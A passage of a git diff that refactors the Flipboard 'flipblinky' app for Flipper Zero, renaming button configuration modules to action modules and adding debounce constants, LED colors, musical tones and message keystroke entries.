populate_variable_item_list(button_config, bm); - variable_item_list_set_selected_item(button_config->item_list, 0); - - if(button_config->view_dispatcher) { - view_dispatcher_switch_to_view( - button_config->view_dispatcher, button_config->view_item_list_id); - } -} - -/** - * @brief Allocate and initialize ButtonConfig structure. - * @details Allocate and initialize ButtonConfig structure. Applications can - * pass in a list of keys to be used for the keystroke selector. - * @param model The FlipboardModel. - * @param config_view_id The view id for the configure view. - * @param keys The list of keys to be used for the keystroke selector. - * @param shift_keys The list of shift keys to be used for the keystroke selector. - * @param rows The number of rows in the keystroke selector. KEYSTROKE_SELECTOR_COLS is - * used for the number of columns. -*/ -ButtonConfig* button_config_alloc( - FlipboardModel* model, - uint32_t config_view_id, - KeystrokeSelectorKey* keys, - KeystrokeSelectorKey* shift_keys, - uint8_t rows) { - ButtonConfig* button_config = (ButtonConfig*)malloc(sizeof(ButtonConfig)); - button_config->view_dispatcher = NULL; - button_config->model = model; - button_config->menu_buttons = submenu_alloc(); - button_config->view_menu_buttons_id = config_view_id; - button_config->text_input = text_input_alloc(); - button_config->view_text_input_id = 0; - button_config->keystroke_selector = - (keys == NULL) ? NULL : keystroke_selector_alloc(keys, shift_keys, rows); - button_config->view_keystroke_selector_id = 0; - button_config->item_list = variable_item_list_alloc(); - button_config->view_item_list_id = 0; - view_set_previous_callback( - variable_item_list_get_view(button_config->item_list), get_menu_callback(config_view_id)); - - FuriString* button_name = furi_string_alloc(); - - bool single = flipboard_model_get_single_button_mode(model); - - int display_count = 0; - for(int i = 1; i < 16;) { - display_count++; - furi_string_printf(button_name, "Action %d (", display_count); - if(i == 15) { - furi_string_cat_printf(button_name, "all buttons"); - } else { - furi_string_cat_printf(button_name, "button"); - if(i != 1 && i != 2 && i != 4 && i != 8) { - furi_string_cat_printf(button_name, "s"); - } - furi_string_cat_printf(button_name, " "); - int btn = 0; - if(i & 1) { - furi_string_cat_printf(button_name, "1"); - btn |= 1; - if(btn != i) { - furi_string_cat_printf(button_name, ", "); - } - } - if(i & 2) { - furi_string_cat_printf(button_name, "2"); - btn |= 2; - if(btn != i) { - furi_string_cat_printf(button_name, ", "); - } - } - if(i & 4) { - furi_string_cat_printf(button_name, "3"); - btn |= 4; - if(btn != i) { - furi_string_cat_printf(button_name, ", "); - } - } - if(i & 8) { - furi_string_cat_printf(button_name, "4"); - btn |= 8; - } - } - furi_string_cat_printf(button_name, ")"); - submenu_add_item( - button_config->menu_buttons, - furi_string_get_cstr(button_name), - i, - item_callback, - button_config); - if(single) { - i = i << 1; - } else { - i++; - } - } - submenu_set_header(button_config->menu_buttons, "Configure Action"); - - return button_config; -} - -/** - * @brief button_config_free releases allocated resources. - * @param button_config The ButtonConfig to free. -*/ -void button_config_free(ButtonConfig* button_config) { - if(button_config->view_dispatcher != NULL) { - if(button_config->view_item_list_id) { - view_dispatcher_remove_view( - button_config->view_dispatcher, button_config->view_item_list_id); - } - - if(button_config->view_text_input_id) { - view_dispatcher_remove_view( - button_config->view_dispatcher, button_config->view_text_input_id); - } - - if(button_config->view_keystroke_selector_id) { - view_dispatcher_remove_view( - button_config->view_dispatcher, button_config->view_keystroke_selector_id); - } - } - variable_item_list_free(button_config->item_list); - submenu_free(button_config->menu_buttons); - text_input_free(button_config->text_input); - if(button_config->keystroke_selector) { - keystroke_selector_free(button_config->keystroke_selector); - } - free(button_config); -} - -/** - * @brief Get view of ButtonConfig structure. - * @details This function return view of ButtonConfig structure. It is used to add ButtonConfig - * view to ViewDispatcher. - * @param button_config Pointer to ButtonConfig structure. - * @return Pointer to view of ButtonConfig structure. -*/ -View* button_config_get_view(ButtonConfig* button_config) { - return submenu_get_view(button_config->menu_buttons); -} - -/** - * @brief Get view id of ButtonConfig structure. - * @details This function return view id of ButtonConfig structure. It is used to add ButtonConfig - * view to the application menu. - * @param button_config Pointer to ButtonConfig structure. - * @return View id of ButtonConfig structure. -*/ -uint32_t button_config_get_view_id(ButtonConfig* button_config) { - return button_config->view_menu_buttons_id; -} - -/** - * @brief button_config_register_dispatcher registers the ViewDispatcher. - * @param button_config The ButtonConfig. - * @param view_dispatcher The ViewDispatcher. -*/ -void button_config_register_dispatcher( - ButtonConfig* button_config, - ViewDispatcher* view_dispatcher) { - button_config->view_dispatcher = view_dispatcher; -} - -/** - * @brief button_config_register_variable_item_list registers the VariableItemList. - * @details button_config_register_variable_item_list registers the VariableItemList. The - * VariableItemList is used to show the configuration of a button. - * @param button_config The ButtonConfig. - * @param variable_item_list_view_id The view id for the VariableItemList. -*/ -void button_config_register_variable_item_list( - ButtonConfig* button_config, - uint32_t variable_item_list_view_id) { - furi_assert(button_config->view_dispatcher != NULL); - button_config->view_item_list_id = variable_item_list_view_id; - view_dispatcher_add_view( - button_config->view_dispatcher, - button_config->view_item_list_id, - variable_item_list_get_view(button_config->item_list)); -} - -/** - * @brief button_config_register_text_input registers the TextInput. - * @details button_config_register_text_input registers the TextInput. The - * TextInput is used to enter a message. - * @param button_config The ButtonConfig. - * @param text_input_id The view id for the TextInput. -*/ -void button_config_register_text_input(ButtonConfig* button_config, uint32_t text_input_id) { - furi_assert(button_config->view_dispatcher != NULL); - button_config->view_text_input_id = text_input_id; - view_dispatcher_add_view( - button_config->view_dispatcher, - button_config->view_text_input_id, - text_input_get_view(button_config->text_input)); -} - -/** - * @brief button_config_register_keystroke_selector registers the KeystrokeSelector. - * @details button_config_register_keystroke_selector registers the KeystrokeSelector. The - * KeystrokeSelector is used to select a keystroke. - * @param button_config The ButtonConfig. - * @param keystroke_selector_id The view id for the KeystrokeSelector. -*/ -void button_config_register_keystroke_selector( - ButtonConfig* button_config, - uint32_t keystroke_selector_id) { - furi_assert(button_config->view_dispatcher != NULL); - if(button_config->keystroke_selector == NULL) { - return; - } - button_config->view_keystroke_selector_id = keystroke_selector_id; - view_dispatcher_add_view( - button_config->view_dispatcher, - button_config->view_keystroke_selector_id, - keystroke_selector_get_view(button_config->keystroke_selector)); -} diff --git a/applications/external/flipblinky/common/button_config.h b/applications/external/flipblinky/common/button_config.h deleted file mode 100644 index a599d700126..00000000000 --- a/applications/external/flipblinky/common/button_config.h +++ /dev/null @@ -1,100 +0,0 @@ -#pragma once - -/** - * @file button_config.h - * @brief This file contains the ButtonConfig type and related functions. - * @details This file contains the ButtonConfig type and related functions. - * The button_config module is responsible for managing the configuration of a - * button on the Flipboard. When you press multiple buttons at the same time, - * it is treated as a virtual button (so there are really 15 buttons that can - * be configured). -*/ - -#include -#include -#include "keystroke_selector.h" - -typedef struct FlipboardModel FlipboardModel; -typedef struct ButtonConfig ButtonConfig; - -/** - * @brief Allocate and initialize ButtonConfig structure. - * @details Allocate and initialize ButtonConfig structure. Applications can - * pass in a list of keys to be used for the keystroke selector. - * @param model The FlipboardModel. - * @param config_view_id The view id for the configure view. - * @param keys The list of keys to be used for the keystroke selector. - * @param shift_keys The list of shift keys to be used for the keystroke selector. - * @param rows The number of rows in the keystroke selector. KEYSTROKE_SELECTOR_COLS is - * used for the number of columns. - */ -ButtonConfig* button_config_alloc( - FlipboardModel* model, - uint32_t config_view_id, - KeystrokeSelectorKey* keys, - KeystrokeSelectorKey* shift_keys, - uint8_t keyboard_rows); - -/** - * @brief button_config_free releases allocated resources. - * @param button_config The ButtonConfig to free. - */ -void button_config_free(ButtonConfig* button_config); - -/** - * @brief Get view of ButtonConfig structure. - * @details This function return view of ButtonConfig structure. It is used to add ButtonConfig - * view to ViewDispatcher. - * @param button_config Pointer to ButtonConfig structure. - * @return Pointer to view of ButtonConfig structure. - */ -View* button_config_get_view(ButtonConfig* button_config); - -/** - * @brief Get view id of ButtonConfig structure. - * @details This function return view id of ButtonConfig structure. It is used to add ButtonConfig - * view to the application menu. - * @param button_config Pointer to ButtonConfig structure. - * @return View id of ButtonConfig structure. - */ -uint32_t button_config_get_view_id(ButtonConfig* button_config); - -/** - * @brief button_config_register_dispatcher registers the ViewDispatcher. - * @param button_config The ButtonConfig. - * @param view_dispatcher The ViewDispatcher. - */ -void button_config_register_dispatcher( - ButtonConfig* button_config, - ViewDispatcher* view_dispatcher); - -/** - * @brief button_config_register_variable_item_list registers the VariableItemList. - * @details button_config_register_variable_item_list registers the VariableItemList. The - * VariableItemList is used to show the configuration of a button. - * @param button_config The ButtonConfig. - * @param variable_item_list_view_id The view id for the VariableItemList. - */ -void button_config_register_variable_item_list( - ButtonConfig* button_config, - uint32_t variable_item_list_view_id); - -/** - * @brief button_config_register_text_input registers the TextInput. - * @details button_config_register_text_input registers the TextInput. The - * TextInput is used to enter a message. - * @param button_config The ButtonConfig. - * @param text_input_id The view id for the TextInput. -*/ -void button_config_register_text_input(ButtonConfig* button_config, uint32_t text_input_id); - -/** - * @brief button_config_register_keystroke_selector registers the KeystrokeSelector. - * @details button_config_register_keystroke_selector registers the KeystrokeSelector. The - * KeystrokeSelector is used to select a keystroke. - * @param button_config The ButtonConfig. - * @param keystroke_selector_id The view id for the KeystrokeSelector. -*/ -void button_config_register_keystroke_selector( - ButtonConfig* button_config, - uint32_t keystroke_selector_id); diff --git a/applications/external/flipblinky/common/button_model.h b/applications/external/flipblinky/common/button_model.h deleted file mode 100644 index 1933d4cfcca..00000000000 --- a/applications/external/flipblinky/common/button_model.h +++ /dev/null @@ -1,245 +0,0 @@ -#pragma once - -/** - * @file button_model.h - * @brief This file contains the ButtonModel type and related functions. - * @details This file contains the ButtonModel type and related functions. - * The ButtonModel type is used to store the settings for a button, for - * example the color, frequency, message, and keystrokes. - */ - -#include -#include - -typedef struct ButtonModel ButtonModel; - -typedef struct { - uint16_t button_code; - uint8_t count; -} Keystroke; - -typedef enum { - ButtonModelFieldNone = 0, - ButtonModelFieldColorUp = 1 << 0, - ButtonModelFieldColorDown = 1 << 1, - ButtonModelFieldFrequency = 1 << 2, - ButtonModelFieldMessage = 1 << 3, - ButtonModelFieldKeystrokes = 1 << 4, - ButtonModelFieldAll = (1 << 5) - 1, -} ButtonModelFields; - -/** - * @brief Allocates a new button model. - * @param button_id The button id for the model. - * @return The new button model. - */ -ButtonModel* button_model_alloc(uint8_t button_id); - -/** - * @brief Allocates a new button model from a FlipperFormat. - * @param button_id The button id for the model. - * @param flipper_format The FlipperFormat to load from. - * @return The new button model. -*/ -ButtonModel* button_model_alloc_from_ff(uint8_t button_id, FlipperFormat* flipper_format); - -/** - * @brief Frees a button model. - * @param model The model to free. - */ -void button_model_free(ButtonModel* model); - -/** - * @brief Gets the button id for the model. - * @param model The model to get the button id for. - * @return The button id for the model. - */ -uint8_t button_model_get_button_id(ButtonModel* model); - -/** - * @brief Gets the HEX color when the button is not pressed. - * @param model The model to get the color for. - * @return The hex color for when button is up. - */ -uint32_t button_model_get_color_up(ButtonModel* model); - -/** - * @brief Gets the HEX color when the button is pressed. - * @param model The model to get the color for. - * @return The hex color for when button is pressed down. - */ -uint32_t button_model_get_color_down(ButtonModel* model); - -/** - * @brief Gets the index of the menu item for editing the message. - * @param model The model to get the message index for. - * @return The index of the menu item for editing the message. - */ -uint8_t button_model_get_message_index(ButtonModel* model); - -/** - * @brief Gets the index of the menu item for adding a keystroke. - * @param model The model to get the keystroke index for. - * @return The index of the menu item for adding a keystroke. - */ -uint8_t button_model_get_keystroke_index(ButtonModel* model); - -/** - * @brief Gets the temp buffer for editing the message. - * @param model The model to get the temp buffer for. - * @return The temp buffer for editing the message. - */ -char* button_model_get_temp_buffer(ButtonModel* model); - -/** - * @brief Gets the size of the temp buffer for editing the message. - * @param model The model to get the temp buffer size for. - * @return The size of the temp buffer for editing the message. - */ -size_t button_model_get_temp_buffer_size(ButtonModel* model); - -/** - * @brief Gets the index of the item being edited. - * @param model The model to get the temp index for. - * @return The index of the item being edited. - */ -uint8_t button_model_get_temp_index(ButtonModel* model); - -/** - * @brief Gets the button config associated with this model. - * @param model The model to get the button config for. - * @return The button config associated with this model. - */ -void* button_model_get_button_config(ButtonModel* model); - -/** - * @brief Gets the frequency for the button, in Hz. - * @param model The model to get the frequency for. - * @return The frequency for the button. - */ -float button_model_get_frequency(ButtonModel* model); - -/** - * @brief Gets the number of keystrokes for the button. - * @param model The model to get the keystrokes count for. - * @return The number of keystrokes for the button. - */ -uint8_t button_model_get_keystrokes_count(ButtonModel* model); - -/** - * @brief Gets the keystroke at the given index. - * @param model The model to get the keystroke for. - * @param index The index of the keystroke to get. - * @return The keystroke at the given index. - */ -Keystroke button_model_get_keystroke(ButtonModel* model, uint8_t index); - -/** - * @brief Gets the message for the button. - * @param model The model to get the message for. - * @return The message for the button. - */ -FuriString* button_model_get_message(ButtonModel* model); - -/** - * @brief Sets the HEX color when the button is not pressed. - * @param model The model to set the color for. - * @param color_up The hex color for when button is up. - */ -void button_model_set_color_up(ButtonModel* model, uint32_t color_up); - -/** - * @brief Sets the HEX color when the button is pressed. - * @param model The model to set the color for. - * @param color_down The hex color for when button is pressed down. - */ -void button_model_set_color_down(ButtonModel* model, uint32_t color_down); - -/** - * @brief Sets the index of the menu item for editing the message. - * @param model The model to set the message index for. - * @param index The index of the menu item for editing the message. - */ -void button_model_set_message_index(ButtonModel* model, uint8_t index); - -/** - * @brief Sets the index of the menu item for adding a keystroke. - * @param model The model to set the keystroke index for. - * @param index The index of the menu item for adding a keystroke. - */ -void button_model_set_keystroke_index(ButtonModel* model, uint8_t index); - -/** - * @brief Sets the index of the item being edited. - * @param model The model to set the temp index for. - */ -void button_model_set_temp_index(ButtonModel* model, uint8_t index); - -/** - * @brief Sets the button config associated with this model. - * @param model The model to set the button config for. - * @param button_config The button config associated with this model. - */ -void button_model_set_button_config(ButtonModel* model, void* button_config); - -/** - * @brief Sets the frequency for the button, in Hz. - * @param model The model to set the frequency for. - * @param frequency The frequency for the button. - */ -void button_model_set_frequency(ButtonModel* model, float frequency); - -/** - * @brief Sets the keystrokes and count for the button. - * @param model The model to set the keystrokes count for. - * @param index The index of the keystroke to set. - * @param button_code The key code to send when this key is pressed. - * @param count The number of keystrokes for the button. - * @return True if the keystroke was set, false otherwise. - */ -bool button_model_set_keystroke( - ButtonModel* model, - uint8_t index, - uint16_t button_code, - uint8_t count); - -/** - * @brief Appends a keystroke to the button. - * @param model The model to append the keystroke to. - * @param button_code The key code to send when this key is pressed. - * @param count The number of keystrokes for the button. - */ -void button_model_append_keystroke(ButtonModel* model, uint16_t button_code, uint8_t count); - -/** - * @brief Removes the last keystroke from the button. - * @param model The model to remove the keystroke from. - * @return True if the keystroke was removed, false otherwise. - */ -bool button_model_remove_last_keystroke(ButtonModel* model); - -/** - * @brief Sets the message for the button. - * @details Sets the message for the button. If the message is a space character, it will be - * be considered as empty string. - * @param model The model to set the message for. - * @param message The message for the button. - */ -void button_model_set_message(ButtonModel* model, const char* message); - -/** - * @brief Saves the button model to a FlipperFormat. - * @param model The model to save. - * @param flipper_format The FlipperFormat to save to. - * @param fields The fields to save. - * @return True if the model was saved, false otherwise. - */ -bool button_model_save(ButtonModel* model, FlipperFormat* flipper_format, ButtonModelFields fields); - -/** - * @brief Loads the button model from a FlipperFormat. - * @param model The model to load. - * @param flipper_format The FlipperFormat to load from. - * @return The fields that were loaded (ButtonModelFieldNone if not found) -*/ -ButtonModelFields button_model_load(ButtonModel* model, FlipperFormat* flipper_format); diff --git a/applications/external/flipblinky/common/button_monitor.c b/applications/external/flipblinky/common/button_monitor.c index ec37569fe4b..6016025cd55 100644 --- a/applications/external/flipblinky/common/button_monitor.c +++ b/applications/external/flipblinky/common/button_monitor.c @@ -1,13 +1,11 @@ #include "button_monitor_i.h" -// Left to right order of the switches. +// Left to right order of the switches on the FlipBoard. const GpioPin* const pin_sw1 = &gpio_ext_pb2; const GpioPin* const pin_sw2 = &gpio_ext_pb3; const GpioPin* const pin_sw3 = &gpio_ext_pa4; const GpioPin* const pin_sw4 = &gpio_ext_pa6; -static int32_t button_monitor_worker(void* context); - /** * @brief Allocates a new button monitor. * @details Allocates a new button monitor. The button monitor @@ -90,8 +88,8 @@ static SwitchIds button_monitor_get_pin_status() { static SwitchIds button_monitor_get_debounced_pin_status() { SwitchIds pin_status = 0; uint32_t counter = 0; - furi_delay_ms(50); - while(counter < 100) { + furi_delay_ms(DEBOUNCE_WAIT_MS); + while(counter < DEBOUNCE_SAME_MIN_COUNT) { SwitchIds new_pin_status = button_monitor_get_pin_status(); if(pin_status != new_pin_status) { counter = 0; diff --git a/applications/external/flipblinky/common/button_monitor.h b/applications/external/flipblinky/common/button_monitor.h index c34db9d78a3..5ae9f151a1d 100644 --- a/applications/external/flipblinky/common/button_monitor.h +++ b/applications/external/flipblinky/common/button_monitor.h @@ -1,5 +1,3 @@ -#pragma once - /** * @file button_monitor.h * @brief This file contains the ButtonMonitor type and related functions. @@ -9,6 +7,8 @@ * when a button event occurs. */ +#pragma once + #include #include diff --git a/applications/external/flipblinky/common/button_monitor_i.h b/applications/external/flipblinky/common/button_monitor_i.h index bd6da553ca2..e42ee93e9b4 100644 --- a/applications/external/flipblinky/common/button_monitor_i.h +++ b/applications/external/flipblinky/common/button_monitor_i.h @@ -5,6 +5,13 @@ #include "button_monitor.h" +// How long to wait after initial press is detected before sampling the switch. +// TODO: Can we decrease this so we are most responsive? +#define DEBOUNCE_WAIT_MS 50 + +// How many samples need to be the same before the switch is considered debounced. +#define DEBOUNCE_SAME_MIN_COUNT 100 + struct ButtonMonitor { // GPIO state from previous scan. SwitchIds last_pins; @@ -21,3 +28,5 @@ struct ButtonMonitor { // The context for the callback. void* context; }; + +static int32_t button_monitor_worker(void* context); diff --git a/applications/external/flipblinky/common/config_colors.h b/applications/external/flipblinky/common/config_colors.h index 868d208a795..39d10af97cb 100644 --- a/applications/external/flipblinky/common/config_colors.h +++ b/applications/external/flipblinky/common/config_colors.h @@ -1,14 +1,34 @@ -#pragma once - /** * @file config_colors.h * @brief The configuration of the colors. - * @details The configuration of the LED colors. Feel free to add more colors, - * but be sure to add them to the color_names and color_values arrays. + * @details The configuration of the LED colors. + * + * Define DEFINE_COLOR_NAMES_AND_VALUES if you want color_names and color_values arrays. + * Feel free to add more colors, but be sure to add them to the color_names and color_values arrays. */ +#pragma once + #include +/** + * @brief The HEX value of red, green and blue LED brightness + * (0xRRGGBB format). 00=off, FF=full brightness. +*/ +enum LedColors { + LedColorBlack = 0x000000, + LedColorRed = 0xFF0000, + LedColorOrange = 0xFF1F00, + LedColorYellow = 0xFF7F00, + LedColorGreen = 0x00FF00, + LedColorCyan = 0x00FFFF, + LedColorBlue = 0x0000FF, + LedColorViolet = 0x1F00FF, + LedColorMagenta = 0x7F00FF, + LedColorWhite = 0xFFFFFF, +}; + +#ifdef DEFINE_COLOR_NAMES_AND_VALUES /** * @brief The names of the colors. * @details The index of the color in this array is the same as @@ -27,23 +47,6 @@ static char* color_names[] = { "White", }; -/** - * @brief The HEX value of red, green and blue LED brightness - * (0xRRGGBB format). 00=off, FF=full brightness. -*/ -enum LedColors { - LedColorBlack = 0x000000, - LedColorRed = 0xFF0000, - LedColorOrange = 0xFF1F00, - LedColorYellow = 0xFF7F00, - LedColorGreen = 0x00FF00, - LedColorCyan = 0x00FFFF, - LedColorBlue = 0x0000FF, - LedColorViolet = 0x1F00FF, - LedColorMagenta = 0x7F00FF, - LedColorWhite = 0xFFFFFF, -}; - /** * @brief The values of the colors. * @details The index of the color in this array is the same as @@ -60,4 +63,5 @@ static uint32_t color_values[] = { LedColorViolet, LedColorMagenta, LedColorWhite, -}; \ No newline at end of file +}; +#endif \ No newline at end of file diff --git a/applications/external/flipblinky/common/config_keystroke.h b/applications/external/flipblinky/common/config_keystroke.h index 8894dc702ee..5a52bc015bc 100644 --- a/applications/external/flipblinky/common/config_keystroke.h +++ b/applications/external/flipblinky/common/config_keystroke.h @@ -1,5 +1,3 @@ -#pragma once - /** * @file config_keystroke.h * @brief The configuration of the keystrokes. @@ -13,16 +11,23 @@ * keystroke. This array should start at value 0, and increment by 1s. */ +#pragma once + #include /** * @brief The HID values of the keystrokes. * @details The index of the keystroke in this array is the same as - * the index of the keystroke in the keystroke_names array. + * the index of the keystroke in the keystroke_names array. + * @note The VariableItemList has a max size of 255 entries. */ uint16_t keystroke_values[] = { HID_KEYBOARD_NONE, // Not mapped 1, // Delay + 0xF1, // Message 1 + 0xF2, // Message 2 + 0xF3, // Message 3 + 0xF4, // Message 4 // hid_keymap HID_KEYBOARD_L_CTRL, // HID_KEYBOARD_L_CTRL @@ -285,10 +290,10 @@ uint16_t keystroke_values[] = { HID_KEYBOARD_INTERNATIONAL_7, // HID_KEYBOARD_INTERNATIONAL_7 HID_KEYBOARD_INTERNATIONAL_8, // HID_KEYBOARD_INTERNATIONAL_8 HID_KEYBOARD_INTERNATIONAL_9, // HID_KEYBOARD_INTERNATIONAL_9 - HID_KEYBOARD_LANG_1, // HID_KEYBOARD_LANG_1 - HID_KEYBOARD_LANG_2, // HID_KEYBOARD_LANG_2 - HID_KEYBOARD_LANG_3, // HID_KEYBOARD_LANG_3 - HID_KEYBOARD_LANG_4, // HID_KEYBOARD_LANG_4 + // HID_KEYBOARD_LANG_1, // HID_KEYBOARD_LANG_1 + // HID_KEYBOARD_LANG_2, // HID_KEYBOARD_LANG_2 + // HID_KEYBOARD_LANG_3, // HID_KEYBOARD_LANG_3 + // HID_KEYBOARD_LANG_4, // HID_KEYBOARD_LANG_4 // HID_KEYBOARD_LANG_5, // HID_KEYBOARD_LANG_5 // HID_KEYBOARD_LANG_6, // HID_KEYBOARD_LANG_6 // HID_KEYBOARD_LANG_7, // HID_KEYBOARD_LANG_7 @@ -300,9 +305,10 @@ uint16_t keystroke_values[] = { * @brief The HID values of the keystrokes. * @details The index of the keystroke in this array is the same as * the index of the keystroke in the keystroke_names array. + * @note The VariableItemList has a max size of 255 entries. */ char* keystroke_names[] = { - "None", "Delay", + "None", "Delay", "Msg 1", "Msg 2", "Msg 3", "Msg 4", "L-CTRL", "R-CTRL", "L-SHIFT", "R-SHIFT", "L-ALT", "R-ALT", "L-WIN", "R-WIN", @@ -376,12 +382,9 @@ char* keystroke_names[] = { "F20", "F21", "F22", "F23", "F24", "INTL 1", "INTL 2", "INTL 3", "INTL 4", "INTL 5", "INTL 6", "INTL 7", - "INTL 8", "INTL 9", "LANG 1", "LANG 2", "LANG 3", "LANG 4", - // "LANG 5", - // "LANG 6", - // "LANG 7", - // "LANG 8", - // "LANG 9", + "INTL 8", "INTL 9", + // "LANG 1", "LANG 2", "LANG 3", "LANG 4", + // "LANG 5", "LANG 6", "LANG 7", "LANG 8", "LANG 9", }; /** diff --git a/applications/external/flipblinky/common/config_tones.h b/applications/external/flipblinky/common/config_tones.h index 2ecafc27fd9..c92a001dd3e 100644 --- a/applications/external/flipblinky/common/config_tones.h +++ b/applications/external/flipblinky/common/config_tones.h @@ -1,5 +1,3 @@ -#pragma once - /** * @file config_tones.h * @brief Configuration file for the tones. @@ -9,6 +7,8 @@ * the same as the index of the tone in the tone_names array. */ +#pragma once + /** * @brief The frequency of the tones in HZ. * @details The index of the tone in this array is the same as @@ -65,6 +65,22 @@ float tone_values[] = { 1479.98, // F#6 1567.98, // G6 1661.22, // G#6 + 1760.00, // A6 + 1864.66, // A#6 + 1975.53, // B6 + // + 2093.00, // C7 + 2217.46, // C#7 + 2349.32, // D7 + 2489.02, // D#7 + 2637.02, // E7 + 2793.83, // F7 + 2959.96, // F#7 + 3135.96, // G7 + 3322.44, // G#7 + 3520.00, // A7 + 3729.31, // A#7 + 3951.07, // B7 }; /** @@ -72,8 +88,14 @@ float tone_values[] = { * @details The index of the tone in this array is the same as * the index of the tone in the tone_values array. */ -char* tone_names[] = {"Off", "C3", "C#3", "D3", "D#3", "E3", "F3", "F#3", "G3", "G#3", - "A3", "A#3", "B3", "C4", "C#4", "D4", "D#4", "E4", "F4", "F#4", - "G4", "G#4", "A4", "A#4", "B4", "C5", "C#5", "D5", "D#5", "E5", - "F5", "F#5", "G5", "G#5", "A5", "A#5", "B5", "C6", "C#6", "D6", - "D#6", "E6", "F6", "F#6", "G6", "G#6", "A6", "A#6", "B6"}; \ No newline at end of file +char* tone_names[] = {"Off", // + "C3", "C#3", "D3", "D#3", "E3", "F3", // + "F#3", "G3", "G#3", "A3", "A#3", "B3", // + "C4", "C#4", "D4", "D#4", "E4", "F4", // + "F#4", "G4", "G#4", "A4", "A#4", "B4", // + "C5", "C#5", "D5", "D#5", "E5", "F5", // + "F#5", "G5", "G#5", "A5", "A#5", "B5", // + "C6", "C#6", "D6", "D#6", "E6", "F6", // + "F#6", "G6", "G#6", "A6", "A#6", "B6", // + "C7", "C#7", "D7", "D#7", "E7", "F7", // + "F#7", "G7", "G#7", "A7", "A#7", "B7"}; \ No newline at end of file diff --git a/applications/external/flipblinky/common/custom_event.h b/applications/external/flipblinky/common/custom_event.h index 0811287315b..c98690872b2 100644 --- a/applications/external/flipblinky/common/custom_event.h +++ b/applications/external/flipblinky/common/custom_event.h @@ -1,7 +1,14 @@ +/** + * @file custom_event.h + * @brief A collection of CustomEventIds. + * @details This file contains the custom event ids for the application. Register for events using: + * view_dispatcher_set_custom_event_callback(flipboard_get_view_dispatcher(app), custom_event_handler); +*/ + #pragma once typedef enum { - CustomEventButtonPress = 0x0000, - CustomEventAppMenuEnter = 0x2001, - CustomEventAppMenuExit = 0x2002, + CustomEventFlipboardButtonPress = 0x0000, // FlipboardButton was pressed. + CustomEventAppMenuEnter = 0x2001, // AppMenu was entered. + CustomEventAppMenuExit = 0x2002, // AppMenu was exited. } CustomEventIds; \ No newline at end of file diff --git a/applications/external/flipblinky/common/flipboard.c b/applications/external/flipblinky/common/flipboard.c index 92dfaa46a29..a9769a1ad29 100644 --- a/applications/external/flipblinky/common/flipboard.c +++ b/applications/external/flipblinky/common/flipboard.c @@ -18,7 +18,7 @@ Flipboard* flipboard_alloc( char* app_name, char* primary_item_name, char* about_text, - ButtonModelFields fields, + ActionModelFields fields, bool single_mode_button, bool attach_keyboard, KeystrokeSelectorKey* keys, @@ -38,14 +38,14 @@ Flipboard* flipboard_alloc( view_dispatcher_attach_to_gui(app->view_dispatcher, gui, ViewDispatcherTypeFullscreen); view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - app->button_config = - button_config_alloc(app->model, FlipboardViewConfigureId, keys, shift_keys, rows); + app->action_config = + action_config_alloc(app->model, FlipboardViewConfigureId, keys, shift_keys, rows); - button_config_register_dispatcher(app->button_config, app->view_dispatcher); - button_config_register_variable_item_list(app->button_config, FlipboardViewConfigureSubviewId); - button_config_register_text_input(app->button_config, FlipboardViewConfigureTextInputId); - button_config_register_keystroke_selector( - app->button_config, FlipboardViewConfigureKeystrokeSelectorId); + action_config_register_dispatcher(app->action_config, app->view_dispatcher); + action_config_register_variable_item_list(app->action_config, FlipboardViewConfigureSubviewId); + action_config_register_text_input(app->action_config, FlipboardViewConfigureTextInputId); + action_config_register_keystroke_selector( + app->action_config, FlipboardViewConfigureKeystrokeSelectorId); app->view_primary = get_primary_view(app); @@ -53,8 +53,8 @@ Flipboard* flipboard_alloc( app_menu_add_item( app->app_menu, "Config", - button_config_get_view(app->button_config), - button_config_get_view_id(app->button_config)); + action_config_get_view(app->action_config), + action_config_get_view_id(app->action_config)); app_menu_add_item(app->app_menu, primary_item_name, app->view_primary, FlipboardViewPrimaryId); @@ -77,8 +77,8 @@ void flipboard_free(Flipboard* app) { flipboard_model_free(app->model); view_free(app->view_primary); - if(app->button_config) { - button_config_free(app->button_config); + if(app->action_config) { + action_config_free(app->action_config); } widget_free(app->widget_about); app_menu_free(app->app_menu); @@ -122,9 +122,9 @@ View* flipboard_get_primary_view(Flipboard* app) { * @param view The view to override the config view with. */ void flipboard_override_config_view(Flipboard* app, View* view) { - if(app->button_config) { - button_config_free(app->button_config); - app->button_config = NULL; + if(app->action_config) { + action_config_free(app->action_config); + app->action_config = NULL; } view_dispatcher_remove_view(app->view_dispatcher, FlipboardViewConfigureId); view_dispatcher_add_view(app->view_dispatcher, FlipboardViewConfigureId, view); diff --git a/applications/external/flipblinky/common/flipboard.h b/applications/external/flipblinky/common/flipboard.h index a305ba2cd2d..88f365ef10a 100644 --- a/applications/external/flipblinky/common/flipboard.h +++ b/applications/external/flipblinky/common/flipboard.h @@ -1,5 +1,3 @@ -#pragma once - /** * @file flipboard.h * @brief The main Flipboard application. @@ -12,9 +10,12 @@ * If you have custom data, you can use flipboard_model_set_custom_data. */ +#pragma once + #include #include -#include "button_model.h" + +#include "action_model.h" #include "keystroke_selector.h" typedef struct Flipboard Flipboard; @@ -43,7 +44,7 @@ Flipboard* flipboard_alloc( char* app_name, char* primary_item_name, char* about_text, - ButtonModelFields fields, + ActionModelFields fields, bool single_mode_button, bool attach_keyboard, KeystrokeSelectorKey* keys, diff --git a/applications/external/flipblinky/common/flipboard_file.c b/applications/external/flipblinky/common/flipboard_file.c index d0ffb5bff21..ae5d8cea58b 100644 --- a/applications/external/flipblinky/common/flipboard_file.c +++ b/applications/external/flipblinky/common/flipboard_file.c @@ -1,23 +1,4 @@ -#include "flipboard_file.h" -#include -#include - -#include "button_model.h" - -#define BUY_MSG "Buy your Flipboard at" -#define FLIPBOARD_URL "https://tindie.com/stores/MakeItHackin" - -#define FLIPBOARD_KEY_NAME_SIZE 25 -#define FLIPBOARD_APPS_DATA_FOLDER EXT_PATH("apps_data") -#define FLIPBOARD_SAVE_FOLDER \ - FLIPBOARD_APPS_DATA_FOLDER "/" \ - "flipboard" -#define FLIPBOARD_SAVE_EXTENSION ".txt" - -#define FLIPBOARD_HEADER "Flipper Flipboard File" -#define FLIPBOARD_VERSION 2 - -#define TAG "FlipboardFile" +#include "flipboard_file_i.h" /** * @brief Check if a directory exists, create it if it doesn't. @@ -45,7 +26,7 @@ static void ensure_save_folder_exists(Storage* storage) { * @param model The flipboard model to save. * @param fields The fields to save. */ -bool 